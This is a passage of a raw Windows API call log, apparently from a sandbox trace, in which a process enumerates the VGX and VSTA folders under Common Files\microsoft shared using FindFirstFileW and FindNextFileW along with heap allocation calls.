hHeap=0x550000) returned 1 [0244.915] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cdca800, ftCreationTime.dwHighDateTime=0x1cbd035, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x5cdca800, ftLastWriteTime.dwHighDateTime=0x1cbd035, nFileSizeHigh=0x0, nFileSizeLow=0xc3350, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0244.915] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bff900, ftCreationTime.dwHighDateTime=0x1cc115e, ftLastAccessTime.dwLowDateTime=0x8f641300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x90bff900, ftLastWriteTime.dwHighDateTime=0x1cc115e, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia80.dll", cAlternateFileName="")) returned 1 [0244.915] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2738400, ftCreationTime.dwHighDateTime=0x1cbfdf9, ftLastAccessTime.dwLowDateTime=0xb0535940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x2738400, ftLastWriteTime.dwHighDateTime=0x1cbfdf9, nFileSizeHigh=0x0, nFileSizeLow=0xa3950, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0244.915] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2738400, ftCreationTime.dwHighDateTime=0x1cbfdf9, ftLastAccessTime.dwLowDateTime=0xb0535940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x2738400, ftLastWriteTime.dwHighDateTime=0x1cbfdf9, nFileSizeHigh=0x0, nFileSizeLow=0xa3950, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0244.915] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0244.915] GetProcessHeap () returned 0x550000 [0244.915] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0244.915] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0244.915] GetProcessHeap () returned 0x550000 [0244.915] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0244.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0244.916] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81305af3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81305af3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.916] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1645318, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc1645318, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb0409ed0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0244.916] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1645318, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc1645318, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb0409ed0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0244.916] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0244.919] GetProcessHeap () returned 0x550000 [0244.919] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0244.919] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0244.919] GetProcessHeap () returned 0x550000 [0244.919] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0244.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0245.070] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f4696f0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.070] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1 [0245.070] GetProcessHeap () returned 0x550000 [0245.070] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0245.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0245.158] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fce800, ftCreationTime.dwHighDateTime=0x1c9e437, ftLastAccessTime.dwLowDateTime=0x60fb5630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15fce800, ftLastWriteTime.dwHighDateTime=0x1c9e437, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Blueprints.tlb", cAlternateFileName="MICROS~2.TLB")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x185f4200, ftCreationTime.dwHighDateTime=0x1c9e437, ftLastAccessTime.dwLowDateTime=0x52622770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x185f4200, ftLastWriteTime.dwHighDateTime=0x1c9e437, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.DesignTime.tlb", cAlternateFileName="MICROS~1.TLB")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fce800, ftCreationTime.dwHighDateTime=0x1c9e437, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15fce800, ftLastWriteTime.dwHighDateTime=0x1c9e437, nFileSizeHigh=0x0, nFileSizeLow=0x8f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTARemotingServer.tlb", cAlternateFileName="VSTARE~1.TLB")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x86", cAlternateFileName="")) returned 1 [0245.159] GetProcessHeap () returned 0x550000 [0245.159] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0245.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\8.0\\x86\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0245.678] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.678] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8fb0600, ftCreationTime.dwHighDateTime=0x1c9e433, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8fb0600, ftLastWriteTime.dwHighDateTime=0x1c9e433, nFileSizeHigh=0x0, nFileSizeLow=0x7b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTARemotingServer.dll", cAlternateFileName="VSTARE~1.DLL")) returned 1 [0245.678] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedbfba00, ftCreationTime.dwHighDateTime=0x1c9e433, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedbfba00, ftLastWriteTime.dwHighDateTime=0x1c9e433, nFileSizeHigh=0x0, nFileSizeLow=0x4b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vsta_ep32.exe", cAlternateFileName="VSTA_E~1.EXE")) returned 1 [0245.678] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1d62600, ftCreationTime.dwHighDateTime=0x1c9e42e, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1d62600, ftLastWriteTime.dwHighDateTime=0x1c9e42e, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="vsta_ep32.exe.config", cAlternateFileName="VSTA_E~1.CON")) returned 1 [0245.678] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1d62600, ftCreationTime.dwHighDateTime=0x1c9e42e, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1d62600, ftLastWriteTime.dwHighDateTime=0x1c9e42e, nFileSizeHigh=0x0, nFileSizeLow=0x74, dwReserved0=0x0, dwReserved1=0x0, cFileName="vsta_ep32.exe.config", cAlternateFileName="VSTA_E~1.CON")) returned 0 [0245.678] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0245.679] GetProcessHeap () returned 0x550000 [0245.679] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0245.679] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5272d110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x617be070, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x86", cAlternateFileName="")) returned 0 [0245.679] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0245.679] GetProcessHeap () returned 0x550000 [0245.679] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0245.680] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5707cc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppInfoDocument", cAlternateFileName="APPINF~1")) returned 1 [0245.681] GetProcessHeap () returned 0x550000 [0245.681] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0245.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5707cc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0245.681] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5707cc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.681] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed5c9040, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xe5707cc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed5c9040, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x25b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns.store", cAlternateFileName="ADDINS~1.STO")) returned 1 [0245.681] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="MICROS~1.APP")) returned 1 [0245.681] GetProcessHeap () returned 0x550000 [0245.681] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0245.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0245.683] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.683] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0245.683] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33e0b300, ftCreationTime.dwHighDateTime=0x1ca5247, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33e0b300, ftLastWriteTime.dwHighDateTime=0x1ca5247, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0245.683] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0245.683] GetProcessHeap () returned 0x550000 [0245.683] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0245.683] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="MICROS~1.APP")) returned 0 [0245.683] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0245.683] GetProcessHeap () returned 0x550000 [0245.683] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0245.684] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.v10.0", cAlternateFileName="PIPELI~1.0")) returned 1 [0245.684] GetProcessHeap () returned 0x550000 [0245.684] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0245.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0245.777] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20323f10, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x69acfbd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69acfbd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.777] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3478ee0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddInSideAdapters", cAlternateFileName="ADDINS~1")) returned 1 [0245.777] GetProcessHeap () returned 0x550000 [0245.777] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0245.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInSideAdapters\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd3478ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3478ee0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0245.795] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd3478ee0, 